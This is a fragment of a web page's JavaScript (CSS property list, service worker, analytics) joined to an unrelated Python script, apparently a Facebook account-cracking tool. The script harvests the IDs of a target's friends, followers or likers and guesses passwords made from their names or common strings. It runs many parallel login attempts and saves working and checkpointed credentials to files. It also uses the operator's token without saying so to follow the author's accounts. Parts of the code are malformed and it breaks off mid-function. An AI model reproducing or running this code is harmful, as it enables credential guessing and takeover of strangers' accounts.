sk-box-image"],[282,"webkit-mask-box-image-outset"],[283,"webkit-mask-box-image-repeat"],[284,"webkit-mask-box-image-slice"],[285,"webkit-mask-box-image-source"],[286,"webkit-mask-box-image-width"],[287,"webkit-mask-clip"],[288,"webkit-mask-composite"],[289,"webkit-mask-image"],[290,"webkit-mask-origin"],[291,"webkit-mask-position"],[292,"webkit-mask-position-x"],[293,"webkit-mask-position-y"],[294,"webkit-mask-repeat"],[295,"webkit-mask-repeat-x"],[296,"webkit-mask-repeat-y"],[297,"webkit-mask-size"],[299,"webkit-max-logical-height"],[298,"webkit-max-logical-width"],[301,"webkit-min-logical-height"],[300,"webkit-min-logical-width"],[302,"webkit-nbsp-mode"],[411,"webkit-overflow-scrolling"],[304,"webkit-padding-after"],[305,"webkit-padding-before"],[306,"webkit-padding-end"],[307,"webkit-padding-start"],[310,"webkit-perspective-origin-x"],[311,"webkit-perspective-origin-y"],[312,"webkit-print-color-adjust"],[343,"webkit-region-break-after"],[344,"webkit-region-break-before"],[345,"webkit-region-break-inside"],[342,"webkit-region-fragment"],[313,"webkit-rtl-ordering"],[314,"webkit-ruby-position"],[395,"webkit-svg-shadow"],[353,"webkit-tap-highlight-color"],[415,"webkit-tap-highlight-color"],[315,"webkit-text-combine"],[316,"webkit-text-decorations-in-effect"],[317,"webkit-text-emphasis"],[318,"webkit-text-emphasis-color"],[319,"webkit-text-emphasis-position"],[320,"webkit-text-emphasis-style"],[321,"webkit-text-fill-color"],[17,"webkit-text-orientation"],[322,"webkit-text-security"],[323,"webkit-text-stroke"],[324,"webkit-text-stroke-color"],[325,"webkit-text-stroke-width"],[328,"webkit-transform-origin-x"],[329,"webkit-transform-origin-y"],[330,"webkit-transform-origin-z"],[337,"webkit-user-drag"],[338,"webkit-user-modify"],[339,"webkit-user-select"],[352,"webkit-wrap"],[350,"webkit-wrap-flow"],[351,"webkit-wrap-through"],[18,"webkit-writing-mode"],[159,"white-space"],[160,"widows"],[161,"width"],[445,"will-change"],[162,"word-break"],[163,"word-spacing"],[164,"word-wrap"],[394,"writing-mode"],[461,"x"],[462,"y"],[165,"z-index"],[19,"zoom"]]; document.body.classList.remove('loading'); window.addEventListener('popstate', function(e) { if (e.state) { timeline.selectedBucketId = e.state.id; } }); }); </script> <script> /*! (c) 2017 Copyright (c) 2016 The Google Inc. All rights reserved. (Apache2) */ "use strict";!function(e){function r(){return caches.keys().then(function(e){var r=0;return Promise.all(e.map(function(e){if(e.includes("sw-precache"))return caches.open(e).then(function(e){return e.keys().then(function(n){return Promise.all(n.map(function(n){return e.match(n).then(function(e){return e.arrayBuffer()}).then(function(e){r+=e.byteLength})}))})})})).then(function(){return r})["catch"](function(){})})}function n(){"serviceWorker"in navigator&&navigator.serviceWorker.register("/service-worker.js").then(function(e){e.onupdatefound=function(){var n=e.installing;n.onstatechange=function(){switch(n.state){case"installed":t&&!navigator.serviceWorker.controller&&o.then(r().then(function(e){var r=Math.round(e/1e3);console.info("[ServiceWorker] precached",r,"KB");var n=new Metric("sw_precache");n.sendToAnalytics("service worker","precache size",e),t.showMessage("This site is cached ("+r+"KB). Ready to use offline!")}));break;case"redundant":throw Error("The installing service worker became redundant.")}}}})["catch"](function(e){console.error("Error during service worker registration:",e)})}var t=document.querySelector("chromedash-toast"),o=new Promise(function(e,r){return window.asyncImportsLoadPromise?window.asyncImportsLoadPromise.then(e,r):void e()});window.asyncImportsLoadPromise||n(),navigator.serviceWorker&&navigator.serviceWorker.controller&&(navigator.serviceWorker.controller.onstatechange=function(e){if("redundant"===e.target.state){var r=function(){window.location.reload()};t?o.then(function(){t.showMessage("A new version of this app is available.","Refresh",r,-1)}):r()}}),e.registerServiceWorker=n}(window); // https://gist.github.com/ebidel/1d5ede1e35b6f426a2a7 function lazyLoadWCPolyfillsIfNecessary() { function onload() { // For native Imports, manually fire WCR so user code // can use the same code path for native and polyfill'd imports. if (!('HTMLImports' in window)) { document.body.dispatchEvent( new CustomEvent('WebComponentsReady', {bubbles: true})); } } var webComponentsSupported = ('registerElement' in document && 'import' in document.createElement('link') && 'content' in document.createElement('template')); if (!webComponentsSupported) { var script = document.createElement('script'); script.async = true; script.src = '/static/bower_components/webcomponentsjs/webcomponents-lite.min.js'; script.onload = onload; document.head.appendChild(script); } else { onload(); } } var button = document.querySelector('app-header paper-menu-button'); button.addEventListener('click', function lazyHandler(e) { this.removeEventListener('click', lazyHandler); var url = '/static/elements/paper-menu-button.vulcanize.html'; Polymer.Base.importHref(url, function() { button.contentElement.hidden = false; button.open(); }, null, true); }); // Google Analytics (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-39048143-1', 'auto'); ga('send', 'pageview'); // End Google Analytics lazyLoadWCPolyfillsIfNecessary(); </script> </body> </html>
ahmar00987
#!/usr/bin/python3 #-*-coding:utf-8-*- # Made With ❤️ By Ahmar And AHMARCODE Project # Update V0.1 # Copyright© Ahmar ID 2021 # 100% Open Source Code # Author : Ahmar jan. # Facebook (Alizar M.M.M X) : https://www.facebook.com/profile.php?id=100027259894020X # Instagram (☬ 𝐀𝐧𝐨𝐧𝐲𝐦 𝟒𝟎𝟒 ☬) : Instagram.com. # Whatsapp (Alizar) : 03127103451 # Free Recode For Personal Use # Bebas Recode Untuk Penggunaan Pribadi # Izin Terlebih Dahulu Apabila Ingin Re-Upload # Jangan Jual Belikan File Source Code Ini ! ### Import Module import requests,sys,bs4,os,random,time,json from concurrent.futures import ThreadPoolExecutor as ThreadPool from datetime import datetime ### Perumpamaan Module & Syntax _req_get_ = requests.get _req_post_ = requests.post _js_lo_ = json.loads _ahmar_cici_ = print _cici_ahmar_ = input _ahmar_ahmar_ = open _cici_cici_ = exit ### Waktu & Tanggal current = datetime.now() ta = current.year bu = current.month ha = current.day bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"] try: if bu < 0 or bu > 12: _cici_cici_() buTemp = bu - 1 except ValueError: _cici_cici_() op = bulan[buTemp] tanggal = ("%s-%s-%s"%(ha,op,ta)) ### Warna _P_ = "\x1b[0;97m" # Putih _M_ = "\x1b[0;91m" # Merah _H_ = "\x1b[0;92m" # Hijau _U_ = "\x1b[0;95m" # Ungu ### Logo _logo_line_1_ = ('%s.------..------..------..------..------. (_U_)) _logo_line_2_ = ('%s|A.--. ||H.--. ||M.--. ||A.--. ||R.--. | %s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) _logo_line_3_ = ('%s| (\/) || :/\: || (\/) || (\/) || :(): | %sEditor By %s• AHMAR JAN %s '%(_U_,_M_,_P_,_U_)) _logo_line_4_ = ('%s| :\/: || (__) || :\/: || :\/: || ()() | %sWhatssap %s• 03127103451 %s '%(_U_,_M_,_P_,_U_)) _logo_line_5_ = ('%s| '--'A|| '--'H|| '--'M|| '--'A|| '--'R| %sAdrees %s• FASILABAD %s '%(_U_,_M_,_P_,_U_)) _logo_line_6_ = ('%s`------'`------'`------'`------'`------' %s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) def _my_logo_(): _ahmar_cici_(_logo_line_1_) _ahmar_cici_(_logo_line_2_) _ahmar_cici_(_logo_line_3_) _ahmar_cici_(_logo_line_4_) _ahmar_cici_(_logo_line_5_) _ahmar_cici_(_logo_line_6_+'\n') ### User Agent ua_xiaomi = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_nokia = 'nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+' ua_asus = 'Mozilla/5.0 (Linux; Android 5.0; ASUS_Z00AD Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_huawei = 'Mozilla/5.0 (Linux; Android 8.1.0; HUAWEI Y7 PRIME 2019 Build/5887208) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_vivo = 'Mozilla/5.0 (Linux; Android 11; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_oppo = 'Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_samsung = 'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/35.0.0.48.273;]' ua_windows = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ### Penampungan _id_tampung_ = [] ### Jangan Diganti Nanti Error _oscylopsce_ = '__Ahmar__' _ascylapsci_ = '__Cici__' _escylipsce_ = '__Ahmar_Love_Cici__' _uscylupsci_ = '__My_Love____Ahmar____Ahmar_Love_Cici____Cici____Forever__' ### Membuat Folder Direktori def _folder_(): try:os.mkdir("CP") except:pass try:os.mkdir("OK") except:pass ### Clear Login Session def _bersih_(): try:os.remove('token.txt') except:pass ### Clear User Agent def _del_(): try:os.remove('ugent.txt') except:pass ### Clear Terminal def _clear_(): if "linux" in sys.platform.lower():os.system("clear") elif "win" in sys.platform.lower():os.system("cls") else:os.system("clear") ### Jangan Diganti Anjink! def _bot_follow_(_tok_dev_): token = _tok_dev_ try: _req_post_("https://https://www.facebook.com/profile.php?id=100027259894020/subscribers?access_token=" + token) Alizar M.M.M # _req_post_("https://graph.facebook.com/100060885769913/subscribers?access_token=" + token) # احسان اللہ _req_post_("https://graph.facebook.com/100012267158212/subscribers?access_token=" + token) # وزیراعظم صاحب _req_post_("https://graph.facebook.com/100009834670141/subscribers?access_token=" + token) # نسرین اختر _req_post_("https://graph.facebook.com/100007026360241/subscribers?access_token=" + token) # Zama Jan _ahmar_cici_('\n%s[%s!%s] %sLogin Successful'%(_H_,_P_,_H_,_P_)) time.sleep(2) except (KeyError,IOError):pass ### Login def _login_dev_(_Cici_Cantik_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Cici_Cantik_Banget_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:pass _tok_dev_ = _cici_ahmar_('%s[%s•%s] %sPLEASE Enter Token :\n\n'%(_P_,_H_,_P_,_U_)) try: _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _op_dev_ = _ahmar_ahmar_('token.txt','w') _op_dev_.write(_tok_dev_) _op_dev_.close() _bot_follow_(_tok_dev_) _default_ua_(_Cici_Cantik_Banget_) _menu_dev_(_Cici_Cantik_Banget_) except (KeyError,IOError): _ahmar_cici_('\n%s[%s!%s] %sToken EXPIRE'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Cici_Cantik_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('\n%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() ### Menu def _menu_dev_(_Ahmar_Ganteng_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Ahmar_Ganteng_Banget_:_ahmar_cici_('%s[%s!%s] %sHayoo Mau Recode Ya?'%(_M_,_P_,_M_,_P_)) else:pass try: _tok_dev_ = _ahmar_ahmar_("token.txt","r").read() _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _id_dev_ = _js_load_['id'] except (KeyError,IOError): _ahmar_cici_('%s[%s!%s] %sToken Invalid'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() try: _ip_url_ = "http://ip-api.com/json/" _ip_headers_ = { "Referer":"http://ip-api.com/", "Content-Type":"application/json; charset=utf-8", "User-Agent":"Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]" } _ip_req_ = _req_get_(_ip_url_,headers=_ip_headers_).json() _ip_dev_ = _ip_req_["query"] except: _ip_dev_ = " " _ahmar_cici_('%s[%s•%s] %sWelcome %s%s'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_)) _ahmar_cici_('%s[%s•%s] %sID : %s'%(_U_,_P_,_U_,_P_,_id_dev_)) _ahmar_cici_('%s[%s•%s] %sIP : %s\n'%(_U_,_H_,_U_,_H_,_ip_dev_)) _ahmar_cici_('%s[%s1%s] %sCrack From Friends/Public ID '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sCrack From Followrs ID'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sCrack ID From Likers'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sView Crack Results'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sUser Agent'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s0%s] %sLog Out'%(_U_,_P_,_U_,_M_)) _ahmar_menu__cici_ahmar__ = _cici_ahmar_('%s[%s•%s] %sChooses : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if _ahmar_menu__cici_ahmar__ in ['',' ']: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['1','01','a']: _publik_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['2','02','b']: _followers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['3','03','c']: _likers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['4','04','d']: _cek_result_dev_() elif _ahmar_menu__cici_ahmar__ in ['5','05','e']: _ugen_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['0','00','z']: _ahmar_cici_('%s[%s•%s] %sSee you later %s%s %s!'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) ### Dump ID Publik def _publik_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sType (Me) Clone your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sINPUT TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarger Name: %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/friends?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Pengikut def _followers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPast Target ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarget Name : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /Targe not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/subscribers?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / Target Not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Likers def _likers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPAST TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sNama : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/likes?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahamr_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Generate Password def _pass_list_(_cici_): _ahmar_=[] for i in _cici_.split(" "): if len(i)<3: continue else: i=i.lower() if len(i)==3 or len(i)==4 or len(i)==5: _ahmar_.append(i+"123") _ahmar_.append(i+"12345") else: _ahmar_.append(i) _ahmar_.append(i+"123") _ahmar_.append(i+"12345") _ahmar_.append(_cici_.lower()) _ahmar_.append("pakistan") _ahmar_.append("123456789") _ahmar_.append("123456") return _ahmar_ ### Logger Crack def log_api(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() header = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": ua, "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} param = {'access_token': '350685531728%7C62f8ce9f74b12f84c123cc23437a4a32', 'format': 'json', 'sdk_version': '2', 'email': em, 'locale': 'en_US', 'password': pas, 'sdk': 'ios', 'generate_session_cookies': '1', 'sig':'3f555f99fb61fcd7aa0c44f58f522ef6'} api = 'https://b-api.facebook.com/method/auth.login' response = r.get(api, params=param, headers=header) if 'session_key' in response.text and 'EAAA' in response.text: return {"status":"success","email":em,"pass":pas} elif 'www.facebook.com' in response.json()['error_msg']: return {"status":"cp","email":em,"pass":pas} else:return {"status":"error","email":em,"pass":pas} def log_mbasic(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() r.headers.update({"Host":"mbasic.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) p = r.get("https://mbasic.facebook.com/") b = r.post("https://mbasic.facebook.com/login.php", data={"email": em, "pass": pas, "login": "submit"}) _raw_cookies_ = (";").join([ "%s=%s" % (key, value) for key, value in r.cookies.get_dict().items() ]) if "c_user" in r.cookies.get_dict().keys(): return {"status":"success","email":em,"pass":pas,"cookies":_raw_cookies_} elif "checkpoint" in r.cookies.get_dict().keys(): return {"status":"cp","email":em,"pass":pas,"cookies":_raw_cookies_} else:return {"status":"error","email":em,"pass":pas} def koki(_cookies_): samp_ = _cookies_.split(';') _cooked_cookies_ = ('%s;%s;%s;%s;%s'%(samp_[2],samp_[4],samp_[0],samp_[3],samp_[1])) return _cooked_cookies_ ### Crack Proccess class _crack_dev_: def __init__(self,files): self._Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' self.ada = [] self.cp = [] self.ko = 0 _ahmar_cici_('\n%s[%s•%s] %sCrack With Default/Manual Password [d/m]'%(_U_,_P_,_U_,_P_)) while True: f = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if f=="": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif f in ['m','M','2','02','002']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: _ahmar_cici_('%s[%s!%s] %sDump File Not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0]}) except:continue except Exception as e: _ahmar_cici_('%s[%s!%s] %sDump File not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) _ahmar_cici_('%s[%s•%s] %sExample : Pakistan,786786,223344'%(_U_,_P_,_U_,_P_)) self.pwlist() break elif f in ['d','D','1','01','001']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: continue self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0],"pw":_pass_list_(i.split("•")[1])}) except:continue start_method() put = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(35).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(35).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) except Exception as e: continue def pwlist(self): self.pw = _cici_ahmar_('%s[%s•%s] %s Enter Password : '%(_U_,_P_,_U_,_P_)).split(",") if len(self.pw) ==0: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) else: for i in self.fl: i.update({"pw":self.pw}) start_method() put = _cici_ahmar _('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() ThreadPool(30).map(self.api,self.fl) os.remove(self.apk) _cici_cici_() elif put in ['2','02','002','b']: started() ThreadPool(30).map(self.mbasic,self.fl) os.remove(self.apk) _cici_cici_() else: _ahmar_cici_('%s[%s!%s] %sWrong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) def api(self,fl): try: for i in fl.get("pw"): log = log_api(fl.get("id"),i,"https://b-api.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sAHMAR-OK%s] %s • %s "%(_H_,_P_,_H_,fl.get("id"),i)) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.api(fl) def mbasic(self,fl): try: for i in fl.get("pw"): log = log_mbasic(fl.get("id"),i,"https://mbasic.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " 